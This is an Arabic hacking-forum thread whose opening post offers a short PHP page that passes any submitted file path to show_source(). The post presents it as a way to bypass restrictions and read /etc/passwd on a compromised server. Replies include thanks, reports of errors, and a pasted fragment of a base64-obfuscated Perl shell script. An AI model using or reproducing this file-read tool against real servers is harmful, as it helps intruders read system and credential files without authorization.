Bypass Read /etc/passwd Via show_source Function

[ViRuS_BaGhDaD]

الـسـلام عـلـيـكـم ورحـمـة الله وبـركـاتــه

مثل ما موضح بعنوان الموضوع

Bypass Read /etc/passwd By show_source Function

تخطي قرائه ملف /etc/passwd عن طريق داله الـ ()show_source

كتبت لكم كود بسيط جدا وبنفس الوقت احيانا يفيد في تخطي منع قرائه اليوزرات

ديناميكيه الكود تعتمد على استغلال احدى ثغرات السيرفر وهالداله نادرا ما يتم منعها في السيرفر

يعني ان شاء الله راح تضبط معاكم بنسبه 70%

والكود كمان بسيط جدا

<title>Read /etc/passwd</title>
<font face="Times New Roman" size="6">BY Cyb3r-R00T</font><br />
<form method="POST" action="">
<p>
<input type="text" name="passwd" size="20">
<input type="submit" value="Get" name="B1">
</p>
</form>
<?
$sec = $_POST['passwd'];
if ($sec){
show_source ("$sec");
}
?>

ما يحتاج شرح

فقط ضع الملف الي تريد تقرا في المربع واضغط على Get !

وطبعا الملف راح يكون

/etc/passwd

اي استفسار جاهز

المــصــدر

http://www.sec-art.net/forum/231/

تحياتي للجميع.
​

 

[cisco_security]

رد: Bypass Read /etc/passwd Via show_source Function

الموضوع في المكان الخاطيء عزيزي

 

[cisco_security]

رد: Bypass Read /etc/passwd Via show_source Function

آسف هههههههههه
كاتب الرد لشخص آخر
بارك الله فيك يا غالي و في انتظار جديدك
تحياتي و آسف مره اخري

 

[DR-HEX]

رد: Bypass Read /etc/passwd Via show_source Function

شكراا اخي جاري تجريب والي عوده ان شاء الله

 

[qasim]

رد: Bypass Read /etc/passwd Via show_source Function

السلام عليكم

اخي الكريم لو ممكن الشرح بالصور او بالفيديووو

انا حطيت الكود في ملف في الشل

ومن ثم سويت الامر

/etc/passwd

وظهر خطأ او الفوربيدين

 

[خالد سعودي]

رد: Bypass Read /etc/passwd Via show_source Function

اخي انا تمام سويت رفعت كل شي بس تطلع صفحة بيضاء
فيها كتبه
ا #!/usr/bin/perl -I/usr/local/bandmin
use
MIME::Base64;
eval(decode_base64('IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnByaW50ICJDb250ZW50LXR5cGU6
IHRleHQvaHRtbFxuXG4iOwpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFRE
IFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwx
L0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3Lncz
Lm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3Vh
ممكن تزل شرح فيديو او بصورة

 

[wail1616]

رد: Bypass Read /etc/passwd Via show_source Function

شكرا اخي العزيز